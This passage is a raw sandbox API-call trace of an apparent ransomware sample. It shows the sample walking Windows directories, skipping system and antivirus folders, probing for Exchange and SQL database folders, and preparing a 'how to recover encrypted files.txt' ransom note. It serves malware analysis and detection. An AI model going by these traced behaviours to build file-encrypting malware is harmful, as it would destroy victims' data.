[0047.049] GlobalLock (hMem=0x440004) returned 0x553188 [0047.049] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.049] GlobalUnlock (hMem=0x44000c) returned 0 [0047.049] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.049] GlobalUnlock (hMem=0x440004) returned 0 [0047.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.050] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\") returned 0x39 [0047.050] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0047.050] GlobalLock (hMem=0x440004) returned 0x551178 [0047.050] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.050] GlobalUnlock (hMem=0x440004) returned 0 [0047.050] GlobalLock (hMem=0x440004) returned 0x551178 [0047.050] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.050] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.050] GlobalUnlock (hMem=0x440004) returned 0 [0047.050] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.050] GlobalUnlock (hMem=0x44000c) returned 0 [0047.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.051] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.051] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.051] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.051] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.051] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.051] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.051] GlobalUnlock (hMem=0x44000c) returned 0 [0047.051] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.051] GlobalLock (hMem=0x440004) returned 0x554190 [0047.051] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.051] GlobalUnlock (hMem=0x44000c) returned 0 [0047.051] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.051] GlobalUnlock (hMem=0x440004) returned 0 [0047.051] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.051] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.052] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0047.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\ko-KR\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0047.074] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.074] GlobalLock (hMem=0x440004) returned 0x551178 [0047.074] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.074] GlobalUnlock (hMem=0x440004) returned 0 [0047.074] GlobalLock (hMem=0x440004) returned 0x551178 [0047.074] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.074] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.074] GlobalUnlock (hMem=0x440004) returned 0 [0047.074] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.074] GlobalUnlock (hMem=0x44000c) returned 0 [0047.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.075] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.075] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.075] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.075] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.075] GlobalUnlock (hMem=0x44000c) returned 0 [0047.075] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.075] GlobalLock (hMem=0x440004) returned 0x553188 [0047.075] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.075] GlobalUnlock (hMem=0x44000c) returned 0 [0047.075] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.075] GlobalUnlock (hMem=0x440004) returned 0 [0047.075] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.075] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.075] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.075] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.075] GlobalLock (hMem=0x440004) returned 0x552180 [0047.075] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.075] GlobalUnlock (hMem=0x440004) returned 0 [0047.075] GlobalLock (hMem=0x440004) returned 0x552180 [0047.075] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.075] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.075] GlobalUnlock (hMem=0x440004) returned 0 [0047.075] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.075] GlobalUnlock (hMem=0x44000c) returned 0 [0047.075] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.075] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.075] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.075] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.076] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.076] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.076] GlobalUnlock (hMem=0x44000c) returned 0 [0047.076] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.076] GlobalLock (hMem=0x440004) returned 0x554190 [0047.076] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.076] GlobalUnlock (hMem=0x44000c) returned 0 [0047.076] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.076] GlobalUnlock (hMem=0x440004) returned 0 [0047.076] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.076] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.076] GetLastError () returned 0x12 [0047.076] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.076] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.076] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.076] GlobalLock (hMem=0x440004) returned 0x551178 [0047.076] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.076] GlobalUnlock (hMem=0x440004) returned 0 [0047.076] GlobalLock (hMem=0x440004) returned 0x551178 [0047.076] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.076] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.076] GlobalUnlock (hMem=0x440004) returned 0 [0047.076] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.076] GlobalUnlock (hMem=0x44000c) returned 0 [0047.076] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.076] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.076] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.076] GlobalUnlock (hMem=0x44000c) returned 0 [0047.076] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.077] GlobalLock (hMem=0x440004) returned 0x553188 [0047.077] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.077] GlobalUnlock (hMem=0x44000c) returned 0 [0047.077] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.077] GlobalUnlock (hMem=0x440004) returned 0 [0047.077] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.077] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT") returned 1 [0047.077] GlobalLock (hMem=0x440004) returned 0x551178 [0047.077] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.077] GlobalUnlock (hMem=0x440004) returned 0 [0047.077] GlobalLock (hMem=0x440004) returned 0x551178 [0047.077] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.077] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.077] GlobalUnlock (hMem=0x440004) returned 0 [0047.077] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.077] GlobalUnlock (hMem=0x44000c) returned 0 [0047.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0047.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⣢R⢶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0047.080] GetLastError () returned 0x3 [0047.081] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@⡄R企@\x18㿬Q\x181")) returned 0xffffffff [0047.081] GetLastError () returned 0x2 [0047.081] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@♔R企@\x18?T\x18;")) returned 0xffffffff [0047.082] GetLastError () returned 0x2 [0047.082] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⤼R䱠@❌R企@\x18?T\x18D")) returned 0xffffffff [0047.082] GetLastError () returned 0x2 [0047.083] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\") returned 0x39 [0047.083] MultiByteToWideChar (in: CodePage=0x4e4, 